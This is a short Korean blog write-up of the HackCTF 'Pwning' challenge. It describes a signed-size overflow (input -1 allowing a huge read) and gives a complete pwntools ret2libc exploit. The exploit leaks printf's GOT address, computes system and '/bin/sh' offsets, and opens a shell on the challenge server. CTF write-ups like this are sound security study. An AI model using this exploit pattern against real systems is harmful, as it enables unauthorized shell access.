Pwning 본문
입력받을 사이즈를 지정할 수 있다.
사이즈가 -1이 되면 0xffffffff만큼 입력받을 수 있다.
ret까지 48byte이다.
먼저 libc계산을 위해 printf의 실제 주소를 얻는다.
020을 libc database에 검색하여 libc 몇 버전인지 찾은 후 rop를 진행한다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3019)
#p = process("./pwning")
elf = ELF("./pwning")
context.log_level = "Debug"
p.sendline("-1")
payload = "A"*48
payload += p32(elf.plt['printf'])
payload += p32(elf.symbols['vuln'])
payload += p32(elf.got['printf'])
p.sendline(payload)
p.recvuntil("\n")
p.recvuntil("\n")
print_addr = u32(p.recv(4))
system = print_addr - 0xe6e0
binsh = print_addr + 0x11000b
p.sendline("-1")
payload = "A"*48
payload += p32(system)
payload += "A"*4
payload += p32(binsh)
p.sendline(payload)
p.interactive()
'wargame > HackCTF' 카테고리의 다른 글
ROP (0) | 2021.12.13 |
---|---|
UAF (0) | 2021.12.13 |
gift (0) | 2021.12.13 |
Look at me (0) | 2021.12.13 |
Beginner_Heap (0) | 2021.12.13 |
Comments